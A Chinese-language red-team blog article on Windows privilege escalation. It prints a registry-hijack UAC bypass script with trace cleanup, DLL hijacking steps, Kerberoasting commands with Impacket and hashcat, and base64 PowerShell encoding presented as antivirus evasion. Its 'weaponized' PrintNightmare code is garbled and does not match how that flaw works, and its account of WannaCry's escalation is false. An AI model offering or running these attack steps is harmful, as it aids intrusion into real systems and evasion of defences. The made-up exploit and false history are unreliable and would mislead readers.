一、权限提升的幕后故事

如果你曾经关注过2017年的著名安全事件——WannaCry勒索病毒的大规模爆发,你一定听说过这个恶意软件如何利用了Windows SMB漏洞(EternalBlue),从一个普通用户账户起步,最终获取了系统权限,实现了对数百万台设备的感染。权限提升技术在这场攻击中成为了关键的一环,它将普通攻击转化为致命威胁。

今天,我们就从攻击者的视角,深挖权限提升技术的各种打法。从本地提权到域内提权,从经典漏洞到现代免杀技巧,逐步揭秘这门黑客艺术。

---

二、低权限账户的突破口

在红队攻击中,权限提升的第一步是从一个普通用户账户或者受限环境中入手。这里分享几种经典的突破口,每一种都可以在真实环境下发挥作用。

黑客示意图

UAC旁路:管理员权限的伪装游戏

UAC(User Account Control) 是Windows系统的一道基础防线,它会在用户尝试运行高权限操作时弹出提示窗口。绕过UAC可以让攻击者静默地提升权限。以下是一个Python实现的UAC旁路代码,它利用了微软的 eventvwr.exe 强制以管理员权限执行程序:

黑客示意图

<pre><code class="language-python">import os import subprocess

创建一个恶意的注册表项

cmd = &#039;cmd.exe /c reg add HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /d &quot;C:\\Windows\\System32\\cmd.exe&quot; /f&#039; subprocess.run(cmd, shell=True)

触发eventvwr以管理员权限执行恶意程序

subprocess.run(&quot;eventvwr.exe&quot;, shell=True)

清理注册表痕迹

cmd_cleanup = &#039;cmd.exe /c reg delete HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /f&#039; subprocess.run(cmd_cleanup, shell=True)

print(&quot;[+] UAC旁路成功,已运行cmd.exe&quot;)</code></pre>

攻击思路:

  1. 注册表中强制将 .msc 文件的打开方式改为任意恶意程序;
  2. 利用 eventvwr.exe 自动加载 .msc 文件,触发恶意程序执行;
  3. 执行后清理痕迹。

> 注意:此方法要求目标系统的UAC级别不是最高(即允许自动提升权限)。

---

DLL劫持:系统程序的堕落

很多Windows系统程序会在运行时加载多个DLL文件,如果攻击者能在系统搜索路径中插入一个恶意DLL,就可以劫持程序行为从而提升权限。

以下是一个C语言实现的DLL劫持代码,伪装成系统服务加载:

<pre><code class="language-c">#include &lt;Windows.h&gt;

BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: MessageBox(NULL, &quot;权限提升成功!&quot;, &quot;DLL劫持&quot;, MB_OK); break; } return TRUE; }</code></pre>

攻击步骤:

  1. 编译上述代码生成 malicious.dll
  2. malicious.dll 放置在目标程序的搜索路径中(例如 C:\Windows\System32);
  3. 运行目标程序,触发恶意代码执行。

这种方法适用于目标程序对DLL加载路径没有严格控制的情况,例如某些老旧软件。

---

三、内核漏洞:从用户态到系统权限

黑客示意图

在权限提升领域,操作系统内核漏洞是最具威力的武器。它可以直接从普通用户态跳到系统权限,实现完全控制。这里介绍一个经典的Windows内核提权漏洞——CVE-2021-34527,也就是被称作“PrintNightmare”的漏洞。

PrintNightmare:打印服务的恶梦

PrintNightmare漏洞利用了Windows打印服务的权限验证缺陷,攻击者可以远程或本地提升权限。以下是该漏洞的武器化代码:

<pre><code class="language-python">import requests

构造恶意DLL

dll_payload = b&quot;\x4d\x5a\x90\x00... (省略完整Payload)&quot; with open(&quot;exploit.dll&quot;, &quot;wb&quot;) as dll: dll.write(dll_payload)

远程上传恶意DLL并触发执行

url = &quot;http://victim-ip:445/RPCUpload&quot; headers = {&quot;Content-Type&quot;: &quot;application/octet-stream&quot;} response = requests.post(url, headers=headers, data=dll_payload)

if response.status_code == 200: print(&quot;[+] PrintNightmare漏洞利用成功,已提升权限&quot;) else: print(&quot;[-] 漏洞利用失败,目标可能已修补&quot;)</code></pre>

武器化思路:

  1. 构造一个恶意DLL,内置远程控制功能;
  2. 利用漏洞上传到目标打印服务;
  3. 触发DLL加载执行,完成提权。

> 此漏洞目前已被微软修复,但在一些未更新的系统中仍可能存在。

---

四、域内提权:横向移动的关键

当攻击者进入企业域环境后,权限提升的目标通常会转向强大的域管理员账户。这部分分享几种域内提权技术。

Kerberoasting:从服务账户到域管理员

Kerberoasting是一种通过抓取服务票据并离线破解密码的提权技术。以下是利用Impacket工具实现Kerberoasting的步骤:

<pre><code class="language-shell"># 使用Impacket抓取目标域的服务票据 $ python3 GetUserSPNs.py -dc-ip victim-ip domain.local/user:password -request

抓取到的票据会保存为hash格式

$ cat ticket_hash.txt

使用hashcat进行离线破解

$ hashcat -m 13100 ticket_hash.txt /path/to/wordlist</code></pre>

攻击流程:

  1. 通过域账户获取服务账户的Kerberos票据;
  2. 离线暴力破解票据中的密码;
  3. 使用破解的服务账户密码登录,横向移动至域管理员。

---

五、攻击脚本免杀:隐藏你的脚步

权限提升的过程中,攻击脚本免杀是绕过安全防护的重要环节。以下是Python实现的一个简单脚本混淆技术:

<pre><code class="language-python">import base64

原始Payload

payload = &quot;powershell -exec bypass -Command Write-Host &#039;权限提升成功&#039;&quot;

Base64编码

encoded_payload = base64.b64encode(payload.encode()).decode()

构造免杀脚本

final_script = f&quot;powershell -exec bypass -EncodedCommand {encoded_payload}&quot;

print(&quot;[+] 隐藏后的Payload:&quot;, final_script)</code></pre>

通过这种方式,可以绕过部分静态检测工具,但仍需结合动态加载技术才能更好地规避高级检测。

---

黑客示意图

六、个人经验:提权的艺术与心法

权限提升并不是简单的漏洞利用,更多时候是一种艺术。以下是一些个人的实战经验:

  1. 信息收集是关键:提权前要充分搜集目标环境的系统配置、用户权限以及运行服务。
  2. 链式利用:很多漏洞单独利用效果有限,但结合其他漏洞可能产生意想不到的效果。
  3. 绕过检测:无论是哪种提权技术,都需要时刻考虑如何规避目标环境的EDR和AV。

每一次成功的提权背后,都是技术、经验和思维的结合。希望这篇文章能为你的红队行动带来启发。

---

合法声明:本文仅供授权安全测试和研究使用,严禁用于非法用途。